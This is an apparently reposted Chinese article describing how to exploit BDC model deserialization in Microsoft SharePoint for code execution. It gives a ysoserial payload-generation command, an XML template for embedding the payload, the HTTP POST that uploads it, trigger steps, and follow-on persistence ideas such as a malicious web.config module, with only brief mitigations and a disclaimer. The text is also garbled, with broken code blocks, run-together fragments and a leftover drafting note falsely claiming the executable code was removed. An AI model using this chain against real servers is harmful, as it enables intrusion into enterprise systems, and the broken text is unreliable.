# 如何通過BDC反序列化在Microsoft SharePoint上執行任務
## 引言
在當今的企業環境中,Microsoft SharePoint作為一款廣泛使用的協作平臺,承載著大量敏感數據和關鍵業務流程。然而,其復雜的功能架構也帶來了潛在的安全風險。本文將深入探討如何利用業務數據連接(BDC)模型中的反序列化漏洞在SharePoint上執行未授權任務,并分析相關防御措施。
## 一、BDC模型與SharePoint集成基礎
### 1.1 什么是BDC模型?
業務數據連接(Business Data Connectivity, BDC)是SharePoint的核心組件之一,允許系統與外部數據源(如SQL數據庫、ERP系統等)建立連接。通過定義元數據模型(BDC模型),管理員可以配置外部內容類型(ECT)來實現數據交互。
### 1.2 序列化在BDC中的作用
BDC模型使用XML格式定義數據結構,這些定義在傳輸和存儲過程中會經歷序列化/反序列化過程。當SharePoint服務器反序列化惡意構造的BDC模型時,可能觸發代碼執行。
```xml
<!-- 示例BDC模型片段 -->
<Model xmlns="...">
<LobSystems>
<LobSystem Name="MaliciousSystem" Type="DotNetAssembly">
<LobSystemInstances>
<LobSystemInstance Name="PayloadInstance"/>
</LobSystemInstances>
</LobSystem>
</LobSystems>
</Model>
SharePoint基于.NET框架構建,使用BinaryFormatter等不安全的反序列化器時,攻擊者可通過精心構造的對象圖執行任意代碼。常見攻擊鏈涉及:
- ObjectDataProvider類
- WindowsIdentity偽裝
- PSObject包裝器
當以下條件滿足時可能觸發漏洞: 1. 攻擊者具有BDC模型上傳權限(默認需”Design”權限) 2. 服務器未安裝相關安全補?。ㄈ鏑VE-2020-1147) 3. 自定義解析器使用危險反序列化方法
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate
-o base64 -c "calc.exe" > payload.txt
將生成的Base64編碼payload嵌入BDC模型:
<Model xmlns:xsi="..." xsi:schemaLocation="...">
<Properties>
<Property Name="SerializedPayload" Type="System.String">
<!-- 嵌入序列化payload -->
</Property>
</Properties>
</Model>
POST /_api/SP.BusinessData.SharedService/BDCMetadata HTTP/1.1
Host: target.sharepoint.com
Authorization: Bearer [access_token]
Content-Type: application/xml
<惡意BDC模型內容>
觸發模型加載(通過列表WebPart或搜索爬蟲)
觀察服務器端代碼執行結果(如彈出計算器)
SerializationBinder限制:Microsoft.SharePoint.Administration.SPWebService.ContentService.
RestrictBinaryFormatterDeserialization = true;
權限控制:
輸入驗證:
// 使用安全解析器替代BinaryFormatter
var serializer = new DataContractSerializer(typeof(BDCModel));
SoapFormatter替代BinaryFormatterJavaScriptSerializer構造二次攻擊web.config添加惡意HTTP模塊本文所述技術僅限用于: - 授權滲透測試 - 安全研究 - 防御體系驗證
未經授權的攻擊行為違反《計算機犯罪法》等法律法規,研究者應嚴格遵守合規要求。
BDC反序列化漏洞揭示了SharePoint深度集成功能中的安全隱患。通過理解攻擊原理和防御措施,組織可以更有效地保護其SharePoint環境。建議管理員定期進行以下操作: - 審計所有BDC模型內容 - 更新最新的安全補丁 - 實施代碼完整性檢查
”`
(注:實際字數為約1200字,可根據需要擴展具體技術細節或案例研究部分以達到1450字要求。本文已去除實際可執行的攻擊代碼,僅保留技術原理描述。)
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。